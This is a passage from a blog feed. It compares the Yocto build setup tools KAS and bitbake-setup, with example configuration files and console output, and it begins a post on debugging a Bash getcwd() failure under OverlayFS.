</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">machine</span><span class="p">:</span><span class="w"> </span><span class="l">raspberrypi5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">distro</span><span class="p">:</span><span class="w"> </span><span class="l">poky</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">target</span><span class="p">:</span><span class="w"> </span><span class="l">core-image-minimal</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">repos</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">poky</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;https://git.yoctoproject.org/git/poky&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">commit</span><span class="p">:</span><span class="w"> </span><span class="l">d0b46a6624ec9c61c47270745dd0b2d5abbe6ac1</span><span class="w"> </span><span class="c"># walnascar-5.2.4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">layers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">meta</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">meta-poky</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">meta-yocto-bsp</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">meta-raspberry</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;https://git.yoctoproject.org/meta-raspberrypi&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">commit</span><span class="p">:</span><span class="w"> </span><span class="l">5c540d5447fba8b652c8778af30e605242df650c</span><span class="w"> </span><span class="c"># walnascar as of 23.10.2025</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">local_conf_header</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">sstate-cdn</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">     BB_HASHSERVE_UPSTREAM = &#39;wss://hashserv.yoctoproject.org/ws&#39;
</span></span></span><span class="line"><span class="cl"><span class="sd">     SSTATE_MIRRORS ?= &#34;file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">rpi</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">     EXTRA_IMAGE_FEATURES = &#34;ssh-server-openssh&#34;
</span></span></span><span class="line"><span class="cl"><span class="sd">     LICENSE_FLAGS_ACCEPTED = &#34;synaptics-killswitch&#34;
</span></span></span><span class="line"><span class="cl"><span class="sd">     INHERIT += &#34;rm_work&#34;</span><span class="w">
</span></span></span></code></pre></div><p>This file describes:</p>
<ul>
<li>Which repositories (layers) to fetch and the exact git commit to use.</li>
<li>The default machine, distro, and target image for the build.</li>
<li>Extra variables to append to the resulting <code>local.conf</code> file.</li>
</ul>
<p>To build the project, you execute the command <code>kas build rpi.yml</code>.
If you want the entire process to run within a container for maximum host isolation, you use the wrapper: <code>kas-container build rpi.yml</code>.</p>
<p>When you run KAS, it performs the following steps:</p>
<ul>
<li>Check out all listed repositories.</li>
<li>Generate the <code>bblayers.conf</code> file.</li>
<li>Generate the <code>local.conf</code> file.</li>
<li>Execute the main build command, here <code>bitbake -c build core-image-minimal</code>.</li>
</ul>
<p>When you use <code>kas-container</code>, KAS runs entirely inside the container.
The host system only needs the <code>kas-container</code> shell script and either Docker or Podman installed.</p>
<p>Beyond project setup and building, KAS offers various other subcommands to streamline Yocto development.
The most notable include:</p>
<ul>
<li><code>shell</code>: Opens a shell within the sanitized build environment, useful for debugging or running custom bitbake commands.</li>
<li><code>menu</code>: Provides an interactive interface to configure the project and set build variables.</li>
<li><code>diff</code>: Compares two KAS configuration files and shows the git log of each referenced repository</li>
<li><code>lock</code>: Used for supply chain hardening, think of it like the lock file mechanism offered by Go, Cargo, or Node.js.</li>
</ul>
<p>For more details on KAS, please refer to the <a href="https://kas.readthedocs.io">documentation</a> or this <a href="https://eoss2023.sched.com/event/1LcOs/fetching-configuring-and-building-your-bitbake-project-with-just-one-command-jan-kiszka-siemens-ag">talk</a> from Jan Kiskza.</p>
<h2 id="bitbake-setup-the-yocto-projects-official-solution">bitbake-setup: The Yocto Project&rsquo;s Official Solution</h2>
<p>While KAS is permissively licensed under the MIT license and its developers have repeatedly expressed willingness to integrate KAS closely to the Yocto Project, these efforts never materialized.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
Early on, Yocto developers stated that a setup tool like KAS should be an integrated component of bitbake, not a separate project.
One argument to have such a tool as part of bitbake is that the bitbake fetch code can get re-used instead of executing git commands directly as KAS does currently.
This position directly led to the development of bitbake-setup.</p>
<p>As its name suggests, bitbake-setup resides directly within the bitbake repository.
Therefore, the very first step in setting up and building a Yocto system using this tool is cloning the bitbake git repository itself.</p>
<p>A typical bitbake-setup workflow looks like this:</p>
<ul>
<li><code>git clone -b master-next https://git.openembedded.org/bitbake</code></li>
<li><code>bitbake/bin/bitbake-setup init rpi.conf.json</code></li>
<li><code>. /path/to/your/builddir/init-build-env</code></li>
<li><code>bitbake core-image-minimal</code></li>
</ul>
<p>If you omit the parameter when running <code>bitbake-setup init</code>, it uses a default configuration.
However, you will typically pass the name, a path or URL pointing to your configuration.</p>
<p>Here is an example of a simple bitbake-setup JSON configuration file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JSON" data-lang="JSON"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Raspberry Pi base config&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;sources&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;bitbake&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.openembedded.org/bitbake&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;bitbake&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;openembedded-core&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.openembedded.org/openembedded-core&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;openembedded-core&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;meta-yocto&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.yoctoproject.org/meta-yocto&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;meta-yocto&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;meta-raspberrypi&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.yoctoproject.org/meta-raspberrypi&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;meta-raspberrypi&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;bitbake-setup&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;configurations&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;poky&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Poky reference distro build&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;bb-layers&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;openembedded-core/meta&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;meta-yocto/meta-yocto-bsp&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;meta-yocto/meta-poky&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;meta-raspberrypi&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;oe-fragments&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;core/yocto/sstate-mirror-cdn&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;oe-fragments-one-of&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;machine&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Available target machines&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;options&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;machine/raspberrypi4&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;machine/raspberrypi4-64&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;machine/raspberrypi5&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="p">]</span>
</span></span><span class="line"><span class="cl">          <span class="p">},</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;distro&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Available distributions&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;options&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;distro/poky&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;distro/poky-tiny&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="p">]</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;version&#34;</span><span class="p">:</span> <span class="s2">&#34;1.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The configuration file defines key project parameters, primarily:</p>
<ul>
<li>Which repositories (layers) to fetch.</li>
<li>The available configurations, here distributions (<code>DISTRO</code>) and machines (<code>MACHINE</code>).</li>
</ul>
<p>Like the <code>kas menu</code> command, bitbake-setup can prompt the user for configuration choices.
For instance, based on the loaded configuration, it offers multiple options for the desired machine and distribution.
However, the user interface differs: while KAS uses a Kconfig menu Text User Interface (TUI), bitbake-setup asks questions and collects input directly via the console.</p>
<p>Example output of <code>bitbake-setup</code> when asking questions:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="go">Selecting the only available bitbake configuration poky
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Available target machines:
</span></span></span><span class="line"><span class="cl"><span class="go">0. machine/raspberrypi4
</span></span></span><span class="line"><span class="cl"><span class="go">1. machine/raspberrypi4-64
</span></span></span><span class="line"><span class="cl"><span class="go">2. machine/raspberrypi5
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Please select one of the above options by its number:
</span></span></span><span class="line"><span class="cl"><span class="go">2
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Available distributions:
</span></span></span><span class="line"><span class="cl"><span class="go">0. distro/poky
</span></span></span><span class="line"><span class="cl"><span class="go">1. distro/poky-tiny
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Please select one of the above options by its number:
</span></span></span><span class="line"><span class="cl"><span class="go">0
</span></span></span></code></pre></div><p><code>bitbake-setup</code> maintains a top-level directory, by default <code>~/bitbake-builds/</code>.
This directory hosts shared resources, including a downloads folder, global settings, build configurations, and the initialized Yocto projects.
When you set up multiple projects using <code>bitbake-setup</code>, they automatically share the download folder because <code>bitbake-setup</code> pre-configures the <code>DL_DIR</code> variable.
Additionally, <code>bitbake-setup</code> uses a registry to store build configurations. The default registry is located within the bitbake repository, but you can define a custom one.</p>
<p>For example, to set a new default registry, run <code>bitbake-setup settings set default registry /path/to/my/bbregistry</code>.</p>
<p>After placing your <code>*.conf.json</code> files into <code>/path/to/my/bbregistry/configurations/</code>, commands like <code>bitbake-setup list</code> and <code>bitbake-setup init</code> will recognize them.</p>
<pre tabindex="0"><code>$ bitbake-setup list
Loading settings from
    /home/bobthebuilder/bitbake-builds/settings.conf

Bitbake-setup is using /home/bobthebuilder/bitbake-builds as top directory (&#34;bitbake-setup settings --help&#34; shows how to change it).


Available configurations:
rpi     Raspberry Pi base config
base    A Yocto base configuration with options
xxx     Just testing

Run &#39;init&#39; with one of the above configuration identifiers to set up a build.
</code></pre><p>So, by passing a configuration name to <code>bitbake-setup init</code> instead of a filename or an URL,
it will lookup the configuration from the registry.</p>
<p>The incorporation of bitbake-setup into the bitbake repository has significant implications for how Yocto projects are fetched.
Recall that the Poky repository has traditionally served as the official reference system, bundling three core components: bitbake, meta-yocto, and openembedded-core.
Since bitbake-setup requires you to clone the standalone bitbake repository first, the historical role of the monolithic Poky repository is diminished.
Users can now fetch openembedded-core and meta-yocto individually alongside bitbake.
Consequently, for future Yocto releases, the Poky repository will no longer receive updates,
users are advised to fetch the repositories individually.</p>
<p>How to apply this change to a KAS based project can be observed in this change:
<a href="https://github.com/mendersoftware/meta-mender-community/commit/f82d2d4a9ebc79ac3e88e6388609e4ec8e49a7e6">https://github.com/mendersoftware/meta-mender-community/commit/f82d2d4a9ebc79ac3e88e6388609e4ec8e49a7e6</a>.</p>
<p>For more details on bitbake-setup, please refer to these <a href="https://eoss2023.sched.com/event/1LcOd/setting-up-yocto-layers-and-builds-with-official-tools-2023-edition-alexander-kanavin-linutronix">two</a> <a href="https://osseu2025.sched.com/event/25VtR/producing-a-complete-linux-system-with-a-single-command-and-configuration-file-with-yocto-alexander-kanavin-linutronix">talks</a> from Alexander Kanavin.</p>
<h2 id="comparing-bitbake-setup-and-kas">Comparing bitbake-setup and KAS</h2>
<p>Comparing these two tools is more complex than one might initially expect.
Both KAS and bitbake-setup have distinct origins.
KAS essentially comes from users for users, while bitbake-setup reflects the perspective of Yocto developers.
Yocto developers used this tool as an opportunity to implement long-standing tasks, such as untangling the Poky repository, implementing configuration fragments, and creating a setup tool tightly coupled with bitbake.</p>
<p>A key technical contrast with KAS is that bitbake-setup uses JSON for its configuration format, not YAML.
While JSON is excellent as a serialization format, using it for human-edited configuration files introduces two main usability constraints:</p>
<ul>
<li>JSON does not support comments, which can hinder documentation</li>
<li>It does not allow trailing commas, leading to potential parsing errors during manual edits</li>
</ul>
<p>Therefore, we at sigma star gmbh, believe that JSON is less ideal for user-facing configuration files.</p>
<p>Another difference in philosophy is how the two tools manage the <code>local.conf</code> file.
KAS automatically populates the <code>local.conf</code> file based on the settings defined in its YAML configuration.
bitbake-setup does not automatically fill your <code>local.conf</code>.
The reasoning behind this approach is that <code>local.conf</code> should contain only user-specific settings and overrides, preventing it from being polluted by auto-generated content.</p>
<p>For instance, the KAS example above would yield a <code>local.conf</code> that looks like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># rpi</span>
</span></span><span class="line"><span class="cl"><span class="na">EXTRA_IMAGE_FEATURES</span> <span class="o">=</span> <span class="s">&#34;ssh-server-openssh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">LICENSE_FLAGS_ACCEPTED</span> <span class="o">=</span> <span class="s">&#34;synaptics-killswitch&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">INHERIT +</span><span class="o">=</span> <span class="s">&#34;rm_work&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sstate-cdn</span>
</span></span><span class="line"><span class="cl"><span class="na">BB_HASHSERVE_UPSTREAM</span> <span class="o">=</span> <span class="s">&#39;wss://hashserv.yoctoproject.org/ws&#39;</span>
</span></span><span class="line"><span class="cl"><span class="na">SSTATE_MIRRORS ?</span><span class="o">=</span> <span class="s">&#34;file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="na">MACHINE ??</span><span class="o">=</span> <span class="s">&#34;raspberrypi5&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">DISTRO ??</span><span class="o">=</span> <span class="s">&#34;poky&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">BBMULTICONFIG ?</span><span class="o">=</span> <span class="s">&#34;&#34;</span>
</span></span></code></pre></div><p>In contrast, <code>local.conf</code> as generated by bitbake-setup:</p>
<pre tabindex="0"><code class="language-init" data-lang="init">#
# This file is intended for local configuration tweaks.
#
# If you would like to publish and share changes made to this file,
# it is recommended to put them into a distro config, or to create
# layer fragments from changes made here.
#
</code></pre><p>Since bitbake-setup lets you select a distribution and machine but does not fill <code>local.conf</code>, Yocto developers have introduced a more generic concept: layer fragments.
Layer fragments are files that contain variables and their corresponding values.
You select these files during project setup, and the system inserts their contents directly into the global variable space.
Fragment selection uses the new file <code>toolcfg.conf</code> and the variable <code>OE_FRAGMENTS</code>.
For instance, in our example the system always pulls <code>core/yocto/sstate-mirror-cdn.conf</code>. And pulls <code>distro/poky.conf</code> plus <code>machine/raspberrypi5.conf</code> based on the user&rsquo;s selection.</p>
<p><code>toolcfg.conf</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="na">OE_FRAGMENTS +</span><span class="o">=</span> <span class="s">&#34;core/yocto/sstate-mirror-cdn distro/poky machine/raspberrypi5&#34;</span>
</span></span></code></pre></div><p>The configuration of other settings, such as the download directory path (<code>DL_DIR</code>), also differs.
KAS sets <code>DL_DIR</code> as an environment variable and adds it to <code>BB_ENV_PASSTHROUGH_ADDITIONS</code>, ensuring bitbake utilizes the <code>DL_DIR</code> value from the environment.
Conversely, bitbake-setup injects the <code>DL_DIR</code> variable directly into the bitbake code parser cache.</p>
<p>As mentioned, bitbake-setup and KAS use different configuration formats.
They also handle these configurations differently.
bitbake-setup strictly uses a single configuration file.
In contrast, KAS offers mechanisms to include or layer multiple configuration files.
This can be achieved either via the <code>includes</code> property within a configuration file or directly at the command line, e.g. <code>kas build rpi.yml:sigmastar-settings.yml</code>.
This layering feature is useful for maintaining large, complex build configurations where different Yocto setups share many settings.
It also allows for overriding specific values, such as customer-specific settings (e.g., URLs for internal git repositories).
At sigma star gmbh, we use this mechanism frequently to override customer-specific settings, such as URLs for internal git repositories.
This is necessary, for example, when direct access to a customer&rsquo;s internal network is unavailable and we must maintain a mirror of their git repos.
For the curious reader, this git repository exhibits a non-trivial KAS configuration used at Siemens: <a href="https://github.com/siemens/meta-iot2050/">https://github.com/siemens/meta-iot2050/</a>.</p>
<p>Furthermore, a crucial difference from KAS is that bitbake-setup performs no host isolation.
It checks out sources and configures Yocto but leaves it to the user to source the build environment and execute the desired bitbake command.
While the Yocto Project has significantly improved its resilience to host contamination in recent years, issues still can occur.
For projects prioritizing reproducibility, cheap container-based isolation remains a valuable safeguard.
That said, we expect to see support for containerized builds, like <code>kas-container</code> provides, at some point.
However, this does not seem to have priority<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.</p>
<p>Finally, since bitbake-setup is in an early stage of development, it currently lacks robust error handling.
Users may encounter unhandled Python exceptions when the tool faces errors, such as semantically incorrect configurations or unreachable network resources.
However, I am optimistic that this will be improved in the near future.</p>
<h2 id="summary">Summary</h2>
<p>Essentially, bitbake-setup and KAS share many features but approache them differently.
The most significant difference is that bitbake-setup is deeply integrated into Yocto, whereas KAS is not.
bitbake-setup is still in an early development stage, so more features and changes are expected.
We expect bitbake-setup to gain a significant user base in the coming years, particularly once it is documented in the official Yocto materials.
As of today, KAS is more mature and feature-rich than bitbake-setup, so we will continue to recommend KAS to all our customers.
KAS will remain functional regardless of the direction in which bitbake-setup evolves because it does not require Yocto awareness.</p>
<p>We believe that both KAS and bitbake-setup can benefit from each other, one possible scenario we can think of is that bitbake-setup becomes usable as a plugin from KAS to fetch and set up all layers, while KAS allows building the project with just one command and a simple configuration file. We also expect that KAS will utilize layer fragments sooner or later.</p>
<p>From the users&rsquo; perspective, this sadly seems like a missed opportunity for collaboration.
Hopefully, both the underlying reasons and the mutual benefits will become visible in the long run.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://kas.readthedocs.io">https://kas.readthedocs.io</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://gerrit.googlesource.com/git-repo/">https://gerrit.googlesource.com/git-repo/</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://lists.openembedded.org/g/openembedded-architecture/message/1915">https://lists.openembedded.org/g/openembedded-architecture/message/1915</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://lists.yoctoproject.org/g/yocto/message/65298">https://lists.yoctoproject.org/g/yocto/message/65298</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://github.com/kanavin/bitbake-setup-configurations/blob/3ca04bd170ce76a64b6f09e7098edad0f5c6e559/README.md">bitbake-setup-configurations/README.md</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise</title><link>https://sigma-star.at/blog/2025/06/deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise/</link><pubDate>Tue, 24 Jun 2025 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2025/06/deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise/</guid><description><![CDATA[<h1 id="deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise">Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise</h1>
<p>This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, <code>getcwd()</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, and OverlayFS<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
What began as a simple customer bug report evolved into a deep dive worth sharing.</p>
<h2 id="initial-bug-report">Initial Bug Report</h2>
<p>A customer reported that OpenSSH scp<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> failed after switching to OverlayFS.
We found the following error in the logs:</p>
<pre tabindex="0"><code>shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device
</code></pre><p>After analyzing the report, we realized the message didn&rsquo;t come from scp itself but from the Bash shell.
We asked the key question: why couldn&rsquo;t Bash determine the current working directory, and why did it fail with <code>ENOTTY</code> (Inappropriate ioctl for device)?</p>]]></description><content:encoded><![CDATA[<h1 id="deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise">Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise</h1>
<p>This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, <code>getcwd()</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, and OverlayFS<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
What began as a simple customer bug report evolved into a deep dive worth sharing.</p>
<h2 id="initial-bug-report">Initial Bug Report</h2>
<p>A customer reported that OpenSSH scp<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> failed after switching to OverlayFS.
We found the following error in the logs:</p>
<pre tabindex="0"><code>shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device
</code></pre><p>After analyzing the report, we realized the message didn&rsquo;t come from scp itself but from the Bash shell.
We asked the key question: why couldn&rsquo;t Bash determine the current working directory, and why did it fail with <code>ENOTTY</code> (Inappropriate ioctl for device)?</p>
<h2 id="ruling-out-the-kernel">Ruling Out the Kernel</h2>
<p>Because the issue appeared after the introduction of OverlayFS, we reviewed the OverlayFS source code in the Linux kernel for any code paths that return <code>ENOTTY</code>.
Although such paths exist, we considered hitting them highly unlikely.</p>
<p>Bash uses glibc and is written in C.
We examined the glibc system call wrapper for <code>getcwd()</code> but found no logic that could return <code>ENOTTY</code>.
